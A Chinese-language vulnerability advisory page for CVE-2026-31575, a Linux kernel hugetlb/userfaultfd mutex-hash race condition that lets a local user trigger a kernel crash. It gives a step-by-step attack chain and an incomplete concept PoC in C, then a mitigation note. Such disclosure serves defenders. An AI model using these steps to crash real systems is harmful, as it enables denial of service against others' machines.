IPBUF安全漏洞报告
English
CVE-2026-31575 CVSS 5.5 中危

CVE-2026-31575 Linux Kernel hugetlb互斥锁哈希竞态漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31575
漏洞类型
竞态条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRace ConditionDoSuserfaultfdhugetlbLocalCVE-2026-31575

漏洞概述

该漏洞位于Linux内核的mm/userfaultfd组件中。由于在计算hugetlb故障互斥锁哈希时,使用了PAGE_SIZE单位的索引而非huge page单位,导致同一huge page内的不同地址使用了错误的互斥锁。这使得并发操作时产生竞态条件,进而破坏保留映射并触发内核断言失败,导致系统崩溃。

技术细节

漏洞原理在于`mfill_atomic_hugetlb`函数调用`linear_page_index()`计算哈希值供`hugetlb_fault_mutex_hash`使用。`linear_page_index`返回的是基于系统页大小(如4KB)的索引,而`hugetlb_fault_mutex_hash`期望的是基于大页大小(如2MB)的索引。这种单位不匹配导致属于同一大页的不同偏移地址映射到了不同的哈希桶,从而获取了不同的互斥锁。这破坏了对大页操作的原子性保护。多线程并发时,这种竞态条件会损坏`resv_map`数据结构,导致`resv_map_release()`中的`BUG_ON`被触发,造成内核崩溃。

攻击链分析

STEP 1
本地环境准备
攻击者获取本地低权限账户访问权限,并确认系统支持Hugetlbfs及userfaultfd功能。
STEP 2
创建监控与映射
利用userfaultfd创建内存故障监控,并使用MAP_HUGETLB标志映射大页内存区域。
STEP 3
触发并发竞态
启动多个线程,针对同一huge page内的不同偏移地址并发执行写操作,触发缺页处理。
STEP 4
利用哈希计算错误
由于linear_page_index返回的单位错误,系统为同一huge page分配了不同的互斥锁,导致并发控制失效。
STEP 5
破坏内核状态
竞态条件导致resv_map数据结构损坏,最终触发resv_map_release中的BUG_ON,造成系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-31575 * This PoC demonstrates the logic to trigger the race condition. * It requires a system configured with hugepages and userfaultfd support. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #define _UFFDIO_REGISTER (1 << 0) void* fault_handler_thread(void* arg) { // Handler logic to manage page faults // Intentionally delay processing to widen the race window sleep(1); return NULL; } int main() { // 1. Create userfault file descriptor int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("userfaultfd"); return 1; } // 2. Allocate memory with MAP_HUGETLB // Ensure system has hugepages configured (e.g., /proc/sys/vm/nr_hugepages) void* addr = mmap(NULL, 2 << 20, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { perror("mmap hugetlb"); // Fallback for testing if hugetlb not configured, though vulnerability is specific to hugetlb fprintf(stderr, "Hint: Configure hugepages first.\n"); return 1; } // 3. Register the memory range with userfaultfd struct uffdio_register reg = { .range = { .start = (unsigned long)addr, .len = 2 << 20 }, .mode = _UFFDIO_REGISTER }; // ioctl(uffd, UFFDIO_REGISTER, &reg) ... printf("[+] Region mapped at %p\n", addr); // 4. Trigger the race // Spawn threads to write to different offsets within the same huge page // The bug causes linear_page_index to return different hashes for same huge page // leading to different mutexes and race condition. printf("[+] Attempting to trigger race condition...\n"); // Implementation of threading and writing would go here // to exploit the mismatch in mutex hash calculation. return 0; }

影响范围

Linux Kernel (包含漏洞代码的版本,具体需参考Git补丁提交前的版本)

防御指南

临时缓解措施
建议通过内核参数或系统配置限制普通用户使用userfaultfd的功能,或者确保关键系统不依赖受影响的Hugetlb与userfaultfd组合交互,直到完成内核升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表